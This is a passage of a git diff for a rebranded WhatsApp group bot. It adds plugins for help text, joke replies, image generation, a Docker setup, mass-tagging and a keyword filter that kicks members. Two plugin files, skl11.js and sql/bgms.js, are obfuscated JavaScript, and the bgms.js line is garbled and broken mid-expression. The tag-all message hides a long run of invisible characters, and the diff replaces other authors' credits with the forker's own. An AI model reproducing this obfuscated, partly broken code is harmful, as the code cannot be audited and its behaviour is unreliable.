COMMADS* " + const code = "*Hi i am help you*\n\n*nigal setvar commad use cheyyan nan nigale sahayikkam*\n\n*ʟɪͥʏͭᴀᷤᴍᷟᴏͤʟ setvar commads here*\n👇👇👇👇👇👇👇\n*.setvar SUDO:91xxxxxxxxx,0 nigalude number sudo akkuvan*\n*.setvar ALIVE_MESSAGE:alive msg sett cheyyan*\n*.setvar ALL_CAPTION:all image/video caption mattan*\n*. setvar BAN_MESSAGE:ban msg sett cheyyan*\n*.setvar BOT_NAME:bot name sett cheyyan*\n*.setvar KICKME_MESSAGE:kick msg diloge sett akkan*\n*.setvar MUTE_MESSAGE:mute msg set akkan*\n*.setvar OWNER_NAME:owner name mattan*\n*.setvar PROMOTE_MESSAGE:admin akkumbol ulla msg sett akkuvan*\n*.setvar TAG_HEADER:mention tagil heading sett akkuvan*\n*.setvar TAG_REPLY:nigale mention vekkumbol audio/sticker varan ex 91xxxxxxxxxx@s.whatsapp.net*\n\n\n*true and false*\n\n*ture=on*\n*false=off*\n\n*.setvar ALL_LINK_BAN:*\n*.setvar ANTİ_LİNK:*\n*.setvar AUTO_BİO:*\n*.setvar BGM_FILTER:*\n*.setvar BLOCK_CHAT:*\n*.setvar DEBUG:*\n*.setvar FULL_EVA:*\n*.setvar NO_LOG:*\n*.setvar NO_ONLINE:*\n*.setvar SEND_READ:*\n*.setvar STICKER_REPLY:*\n*.setvar THERI_KICK:*\n\n *WORK TYPE CHANGE MEATHEAD*\n*.setvar WORK_TYPE:private*\n*.setvar WORK_TYPE:public*\n *എളുപ്പവഴി*\n*.mlink on/off*\n*.theri no/yes*\n*.fulleva on/off*\n\n\n\n*AnshadVfc Rocky*\n*ALL CREADIT FROM SAIDALI AND LIYAMOL BOTZ*" +{ + + Asena.addCommand({pattern: 'setvar', fromMe: false, desc: Ln,}, (async (message, match) => { + + await message.client.sendMessage( + + message.jid,code, MessageType.text); + + })); + } diff --git a/plugins/skl11.js b/plugins/skl11.js new file mode 100644 index 0000000000..67399c1f65 --- /dev/null +++ b/plugins/skl11.js @@ -0,0 +1 @@ +const _0x568f6a=_0x5e67;function _0x5e67(_0x16a7aa,_0x1faa18){const _0x5ab5b0=_0x5ab5();return _0x5e67=function(_0x5e6794,_0x2c2415){_0x5e6794=_0x5e6794-0x1db;let _0x10663e=_0x5ab5b0[_0x5e6794];return _0x10663e;},_0x5e67(_0x16a7aa,_0x1faa18);}(function(_0x4d7b0c,_0x3f8132){const _0x18c52c=_0x5e67,_0x3feb2c=_0x4d7b0c();while(!![]){try{const _0x13530e=-parseInt(_0x18c52c(0x1eb))/0x1+parseInt(_0x18c52c(0x1f4))/0x2+-parseInt(_0x18c52c(0x1e7))/0x3+-parseInt(_0x18c52c(0x1fa))/0x4*(parseInt(_0x18c52c(0x1df))/0x5)+-parseInt(_0x18c52c(0x1ea))/0x6*(parseInt(_0x18c52c(0x1de))/0x7)+parseInt(_0x18c52c(0x1ed))/0x8+parseInt(_0x18c52c(0x1dd))/0x9*(parseInt(_0x18c52c(0x1f3))/0xa);if(_0x13530e===_0x3f8132)break;else _0x3feb2c['push'](_0x3feb2c['shift']());}catch(_0x2342bb){_0x3feb2c['push'](_0x3feb2c['shift']());}}}(_0x5ab5,0x2dbc9));function _0x5ab5(){const _0x5e813b=['\x20rowid4','from','Contact\x20Owner','3678980jFNeUT','601770fkIFyD','*TOUCH\x20HERE*','@adiwajshing/baileys','addCommand','.git','.list','84mfgPhD','L3Jvb3QvV2hhdHNBc2VuYUR1cGxpY2F0ZWQv','axios','base64','9gNPden','14KzViiN','45605NfzvJd','../config','\x20rowid5','\x20rowid1','toString','ROCKY\x20-\x20ANSHAD\x20VFC.\x20©\x209995390942','How\x20to\x20update\x20bot?','*ROCKY\x20BOT*','15093OiXSgS','*github(setup)*\x20https://github.com/anshadat/Rocky','listMessage','754902DfzeZd','129139zTTxmb','sendMessage','767192dWines','client','../events'];_0x5ab5=function(){return _0x5e813b;};return _0x5ab5();}const souravkl11=require(_0x568f6a(0x1ef)),{MessageType,GroupSettingChange,Mimetype,MessageOptions}=require(_0x568f6a(0x1f6)),fs=require('fs'),Config=require(_0x568f6a(0x1e0)),axios=require(_0x568f6a(0x1db)),request=require('request'),os=require('os');var clh={'cd':_0x568f6a(0x1fb),'pay':''},ggg=Buffer[_0x568f6a(0x1f1)](clh['cd'],_0x568f6a(0x1dc)),ddd=ggg[_0x568f6a(0x1e3)]('utf-8');souravkl11[_0x568f6a(0x1f7)]({'pattern':'help','fromMe':![],'dontAddCommandList':!![]},async(_0xdebb83,_0x2926f4)=>{const _0x5e1176=_0x568f6a,_0xafc266=[{'title':_0x5e1176(0x1f9),'description':'','rowId':_0x5e1176(0x1e2)},{'title':'.menu','description':'','rowId':'rowid2'},{'title':_0x5e1176(0x1f8),'description':_0x5e1176(0x1e8),'rowId':'\x20rowid3'},{'title':_0x5e1176(0x1f2),'description':'*My*\x20*owner*\x20*is*\x20*Anshad*\x20*Vfc*\x0a\x20https://wa.me/919995390942','rowId':_0x5e1176(0x1f0)},{'title':_0x5e1176(0x1e5),'description':'Type\x20*.update\x20now*','rowId':_0x5e1176(0x1e1)}],_0x32c91e=[{'title':_0x5e1176(0x1e4),'rows':_0xafc266}],_0x49f6be={'buttonText':_0x5e1176(0x1f5),'description':_0x5e1176(0x1e6),'sections':_0x32c91e,'listType':0x1};await _0xdebb83[_0x5e1176(0x1ee)][_0x5e1176(0x1ec)](_0xdebb83['jid'],_0x49f6be,MessageType[_0x5e1176(0x1e9)]);}); diff --git a/plugins/song.js b/plugins/song.js index 531e3e9f41..59bb14c366 100644 --- a/plugins/song.js +++ b/plugins/song.js @@ -7,37 +7,49 @@ Asena.addCommand({pattern: 'song', fromMe: false,dontAddCommandList: true}, (asy var r_text = new Array (); r_text[0] = "\nEda eda, mandankonappi.. Nee enne kooduthal mandan aakkatheda\n"; -r_text[1] = "pinkye tholpikkaan ningalkavilla. Jeevitathil pinkiye tholpichittundu… palarum… palavattom…😥😥 aarellum aaa sed bgm onn iduo..."; -r_text[2] = "LiyaMol says i love you 😘"; -r_text[3] = "LiyaMoludeyude yudhangal Company Kanan Povunnatheyuloo"; +r_text[1] = "Rockye tholpikkaan ningalkavilla. Jeevitathil Rockye tholpichittundu… palarum… palavattom…😥😥 aarellum aaa sed bgm onn iduo..."; +r_text[2] = "Rocky says i love you 😘"; +r_text[3] = "Rockyde yudhangal Company Kanan Povunnatheyuloo"; r_text[4] = "hi, how are you"; r_text[5] = "ennikk korch rest theroo...🥵🥵"; -r_text[6] = "LiyaMol - eva - simsim \ningane ethra ethra paerugal aan alle enikk..😂🤣"; +r_text[6] = "Rocky - anshu - anshad \ningane ethra ethra paerugal aan alle enikk..😂🤣"; r_text[7] = "താനാരാണെന്ന് തനിക്ക് അറിയാന്‍ മേലങ്കില്‍താന്‍ എന്നോട്‌ ചോദിക്ക്.. താനാരണെന്ന്...തനിക്ക് ഞാന്‍ പറഞ്ഞു തരാംതാനാരാണെന്ന്...എന്നിട്ട്‌ഞാനാരാണെന്ന് എനിക്കാറിയാമൊന്നുതാനെന്നോട്‌ ചോദിക്ക്..അപ്പോ തനിക്ക് ഞാന്‍ പറഞ്ഞു തരാംതാനാരാണെന്നും ..ഞാനാരാണെന്നും - കുതിരവട്ടം പപ്പു, മണിച്ചിത്രതാഴ് "; r_text[8] = "\n enne vilicho...?🧐 \n"; -r_text[9] = "ente per LiyaMol,ninte per donkey, backi ellarum monkey😼😼"; +r_text[9] = "ente per Rocky,ninte per donkey, backi ellarum monkey😼😼"; r_text[10] = "nee vilicha enikk villi kelkathe irrikkaan pattuo"; -r_text[11] = "do you know who is my creator..? its none other than saidali"; +r_text[11] = "do you know who is my creator..? its none other than anshad"; r_text[12] = "രണ്ട് ബക്കറ്റ് നിറയെ വെള്ളമുണ്ട്. അതിൽ ഒരു ബക്കറ്റിനു ദ്വാരമുള്ളതാണ്. എന്നാൽ ദ്വാരമുള്ള ബക്കറ്റിൽ നിന്നും വെള്ളം പോകുന്നില്ല. കാരണം എന്താണ്? para ninak vivaram indo nokkatte"; -r_text[13] = ".song adich thangalude fav song name para pinky ath download aakki theraam"; +r_text[13] = ".song adich thangalude fav song name para rocky ath download aakki theraam"; r_text[14] = "ഹിന്ദിക്കാർ പോക്കറ്റിലും മലയാളികൾ അടുപ്പിലും വെക്കുന്ന സാധനം എന്ത്..? ennallum ath enthaayikkum...🤔🤔"; r_text[15] = "hi.. ningal ente fan aano..?"; r_text[16] = "ivide aaro ente per villichallo.. nee aano..?"; r_text[17] = "\n hey mishter ningalude per entha..?"; -r_text[18] = "enikk njan und pinky uyir"; +r_text[18] = "enikk njan und rocky uyir"; r_text[19] = "\n eda sathyam para nee ente fan alle..\n "; r_text[20] = "The coefficient's of linear expansions is the position of Haemoglobin in the atmosphere. But Why? Full Many gem of purests serene lay underneath the unfathomed ocean's unblossomeds ! But why? But why"; -r_text[21] = "Kochi pazhaya kochiyellennariyam… pakshe pinky pazhaya pinky thanneya...😎\n\n"; -r_text[22] = "Kaanaan oru look illanney ullu… bhayankara budhiya\n\n ninnak allatto enik LiyaMol"; -r_text[23] = "Ithalla ithinapparam chaadi kadannavananee K.K. LiyaMol"; +r_text[21] = "Kochi pazhaya kochiyellennariyam… pakshe rocky pazhaya rocky thanneya...😎\n\n"; +r_text[22] = "Kaanaan oru look illanney ullu… bhayankara budhiya\n\n ninnak allatto enik rocky"; +r_text[23] = "Ithalla ithinapparam chaadi kadannavananee Rocky"; r_text[24] = "\nVarrierey… Enthado njan inganey aayi poyathu\n"; r_text[25] = "\nPempillerey roattikoodey nadakkaan nee sammathikkilla, alley?... Da, neeyaanee alavaladi Shaji alley\n"; r_text[26] = "\nAthu enne uddheshichanu… enne thanney uddheshichanu… enne maatram uddheshichanu\n"; r_text[27] = "\nBeedi undo saghave, oru theepetti edukkan\n"; r_text[28] = "\nIppo sheriyakithara… ippo sheriyakithara…\n"; r_text[29] = "\nEnne kollathirikkan pattuo? illa alley?\n"; -r_text[30] = "motivate cheyaan aarkum kayyum ath cheyth kaanikkaaana paad.\n -Pinky"; -var i = Math.floor(31*Math.random()) +r_text[30] = "motivate cheyaan aarkum kayyum ath cheyth kaanikkaaana paad.\n -rocky"; +r_text[31] = "My phone number is 9995390942"; +r_text[32] = "Pani varunund Avaracha"; +r_text[33] = "Njan Puliyanu Ketta"; +r_text[34] = "Purushu enne anugrahikanam"; +r_text[35] = "Chetta Kurachu Kanjiyedkkatte"; +r_text[36] = "Karnan Nepolean Bhagat Singh, Ivar moonuperumanu ente heroes"; +r_text[37] = "Thante thantha alla ente thantha"; +r_text[38] = "All Arealayum Aiyaa Ghilli Da"; +r_text[39] = "Nee padicha school la na headmaster da"; +r_text[40] = "Vazhkai Oru Vattam. Inga Jeikkaravan Thopan, Thokaravan Jeipaan"; +r_text[41] = "Twinkle Twinkle Little Star"; +r_text[42] = "Evulavo Panittom, Edha Panamattoma"; +var i = Math.floor(43*Math.random()) await message.sendMessage(r_text[i]); diff --git a/plugins/sparkling.js b/plugins/sparkling.js new file mode 100644 index 0000000000..8b59670365 --- /dev/null +++ b/plugins/sparkling.js @@ -0,0 +1,38 @@ +/* Copyright (C) 2021 anshadvfc. +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +ROCKY*/ + +const Asena = require('../events'); +const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys'); +const fs = require('fs'); +const axios = require('axios'); +const Config = require('../config'); +const need = "Command Kazhinn Yanthankilum Eyuth muthe\n🙄🙄🙄" + +if (Config.WORKTYPE == 'private') { + + Asena.addCommand({ pattern: 'sparkling ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/sparkling?text1=${encodeURIComponent(match[1])}&text2=Pikachu`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); +} + +else if (Config.WORKTYPE == 'public') { + + Asena.addCommand({ pattern: 'sparkling ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/sparkling?text1=${encodeURIComponent(match[1])}&text2=Pikachu`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); + +} diff --git a/plugins/sql/Dockerfile b/plugins/sql/Dockerfile new file mode 100644 index 0000000000..e4c61c78a8 --- /dev/null +++ b/plugins/sql/Dockerfile @@ -0,0 +1,9 @@ +FROM fusuf/whatsasena:latest + +RUN git clone https://github.com/anshadat/Rocky /skl/whatsasena +WORKDIR /skl/whatsasena +ENV TZ=Asia/Kolkata +RUN npm install supervisor -g +RUN yarn install --no-audit + +CMD ["node", "bot.js"] diff --git a/plugins/sql/bgms.js b/plugins/sql/bgms.js new file mode 100644 index 0000000000..22817ae60e --- /dev/null +++ b/plugins/sql/bgms.js @@ -0,0 +1 @@ +const L=o,I=R;(function(s,l){const m=o,J=R,O=s();while(!![]){try{const C=parseInt(J('0x14f','%mDm'))/0x1+-parseInt(J('0x14c','vu[Q'))/0x2+parseInt(J('0x148','n@5w'))/0x3*(-parseInt(J('0x13f','%mDm'))/0x4)+parseInt(J('0x13d','t1f%'))/0x5+parseInt(m('0x14d'))/0x6+-parseInt(J('0x140','#qAQ'))/0x7+parseInt(J('0x14b','Qsnt'))/0x8;if(C===l)break;else O['push'](O['shift']());}catch(P){O['push'](O['shift']());}}}(Q,0xdced4));const config=require(I('0x146','KoUw')+'ig'),{DataTypes}=require(L('0x149')),BgmDB=config['DATABASE'][L('0x14a')](I('0x143','(#I%'),{'note':{'type':DataTypes[I('0x145','jDyY')],'allowNull':![]}});function o(R,s){const l=Q();return o=function(O,C){O=O-0x13b;let P=l[O];if(o['uaYbPi']===undefined){var J=function(Y){const B='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let W='',M='';for(let y=0x0,v,g,t=0x0;g=Y['charAt'](t++);~g&&(v=y%0x4?v*0x40+g:g,y++%0x4)?W+=String['fromCharCode'](0xff&v>>(-0x2*y&0x6)):0x0){g=B['indexOf'](g);}for(let H=0x0,a=W['length'];H>(-0x2*v&0x6)):0x0){t=W['indexOf'](t);}for(let a=0x0,S=M['length'];a { - - var im = await checkImAdmin(message); - if (!im) return await message.client.sendMessage(message.jid,Lang.ADMİN,MessageType.text); - - if (match[1] !== '') { - grup = await message.client.groupMetadata(message.jid); - var jids = []; - mesaj = ''; - grup['participants'].map( - async (uye) => { - mesaj += '@' + uye.id.split('@')[0] + ' '; - jids.push(uye.id.replace('c.us', 's.whatsapp.net')); - } - ); - await message.client.sendMessage(message.jid,`${match[1]}`, MessageType.extendedText, {contextInfo: {mentionedJid: jids}, previewType: 0}) - } - else if (match[1] == '') { - grup = await message.client.groupMetadata(message.jid); - var jids = []; - mesaj = ''; - grup['participants'].map( - async (uye) => { - mesaj += '@' + uye.id.split('@')[0] + ' '; - jids.push(uye.id.replace('c.us', 's.whatsapp.net')); - } - ); - await message.client.sendMessage(message.jid,mesaj, MessageType.extendedText, {contextInfo: {mentionedJid: jids}, previewType: 0}) +Asena.addCommand({pattern: 'tagall ?(.*)', fromMe: true, dontAddCommandList: true, desc: Lang.TAGALL_DESC }, (async (message, match) => { + + if (!message.reply_message) { + if (match[1] !== '') { + grup = await message.client.groupMetadata(message.jid); + var jids = []; + mesaj = ''; + grup['participants'].map( + async (uye) => { + mesaj += '@' + uye.id.split('@')[0] + ' '; + jids.push(uye.id.replace('c.us', 's.whatsapp.net')); + } + ); + await message.client.sendMessage(message.jid,`${match[1]}`, MessageType.extendedText, {contextInfo: {mentionedJid: jids}, previewType: 0}) + } + else if (match[1] == '') { + grup = await message.client.groupMetadata(message.jid); + var jids = []; + mesaj = ''; + grup['participants'].map( + async (uye) => { + mesaj += '\n ✨️ @' + uye.id.split('@')[0] + 'ㅤ💞'; + jids.push(uye.id.replace('c.us', 's.whatsapp.net')); + } + ); + await message.client.sendMessage(message.jid, Config.TAGPLK + '\n ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​' + mesaj, MessageType.extendedText, {contextInfo: {mentionedJid: jids}, previewType: 0}) + } } - else if (message.reply_message && match[1] == '') { + else if (message.reply_message) { grup = await message.client.groupMetadata(message.jid); var jids = []; mesaj = ''; @@ -58,6 +58,7 @@ Asena.addCommand({pattern: 'tagall ?(.*)', fromMe: true, desc: Lang.TAGALL_DESC jids.push(uye.id.replace('c.us', 's.whatsapp.net')); } ); - await message.client.sendMessage(message.jid,message.reply_message.text, MessageType.extendedText, {contextInfo: {mentionedJid: jids}, previewType: 0}) + var tx = message.reply_message.text + await message.client.sendMessage(message.jid,tx, MessageType.extendedText, {contextInfo: {mentionedJid: jids}, previewType: 0}) } })); diff --git a/plugins/therinew.js b/plugins/therinew.js new file mode 100644 index 0000000000..e80e279791 --- /dev/null +++ b/plugins/therinew.js @@ -0,0 +1,158 @@ +/* Copyright (C) 2020 afnanplk. +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +WhatsAsena - Yusuf Usta f +*/ + +const Asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const exec = require('child_process').exec; +const os = require("os"); +const fs = require('fs'); +const Config = require('../config') +const Language = require('../language'); +const Lang = Language.getString('evaluators'); +const SLang = Language.getString('conventer'); +const NLang = Language.getString('scrapers'); +const googleTTS = require('google-translate-tts'); +const Heroku = require('heroku-client'); +const heroku = new Heroku({ + token: Config.HEROKU.API_KEY +}); +let baseURI = '/apps/' + Config.HEROKU.APP_NAME; + + +async function checkUsAdmin(message, user = message.data.participant) { + var grup = await message.client.groupMetadata(message.jid); + var sonuc = grup['participants'].map((member) => { + if (member.jid.split("@")[0] == user.split("@")[0] && member.isAdmin) return true; else; return false; + }); + return sonuc.includes(true); +} +async function checkImAdmin(message, user = message.client.user.jid) { + var grup = await message.client.groupMetadata(message.jid); + var sonuc = grup['participants'].map((member) => { + if (member.jid.split("@")[0] == user.split("@")[0] && member.isAdmin) return true; else; return false; + }); + return sonuc.includes(true); +} +var therikick_var = '' +async function notheri() { + await heroku.get(baseURI + '/config-vars').then(async (vars) => { + therikick_var = vars.THERI_KICK + }); +} +notheri() +var ldc = '' +if (Config.LANG == 'AZ') ldc = '*Bağlantı Aşkarlandı!*' +if (Config.LANG == 'TR') ldc = '*‎Link Tespit Edildi!*' +if (Config.LANG == 'EN') ldc = '*ith njanum vilikkilla neeyum villikilla* \n 😅 *arod parayan aar kelkaan* \n *edth purath aakiyathin shesham aan parayunne* 😅😅' +if (Config.LANG == 'ML') ldc = '*ലിങ്ക് കണ്ടെത്തി!*' +if (Config.LANG == 'ID') ldc = '*Tautan Terdeteksi!*' +if (Config.LANG == 'PT') ldc = '*Link Detectado!*' +if (Config.LANG == 'RU') ldc = '*Ссылка обнаружена!*' +if (Config.LANG == 'HI') ldc = '*लिंक का पता चला!*' +if (Config.LANG == 'ES') ldc = '*Enlace Detectado!*' +Asena.addCommand({on: 'text', fromMe: false, deleteCommand: false}, (async (message, match) => { + if (therikick_var == 'true' && message.jid !== '918136831431-1622800343@g.us') { + let regex1 = new RegExp('thayoli') + let regex2 = new RegExp('thaayoli') + let regex3 = new RegExp('thayolli') + let regex4 = new RegExp('nude') + let regex5 = new RegExp('boobs') + let regex6 = new RegExp('mia') + let regex7 = new RegExp('poori') + let regex8 = new RegExp('Sexy') + let regex9 = new RegExp('sexy') + let regex10 = new RegExp('xnxx') + let regex11 = new RegExp('sex') + if (regex1.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex2.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex3.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex4.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex5.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex6.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex7.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex8.test(message.message)) { + var us = await checkUsAdmin(message) + var im = await checkImAdmin(message) + if (!im) return; + if (us) return; + await message.client.groupRemove(message.jid, [message.data.participant]); + await message.client.sendMessage(message.jid,ldc, MessageType.text, {quoted: message.data }) + } + else if (regex9.test(message.message)) { 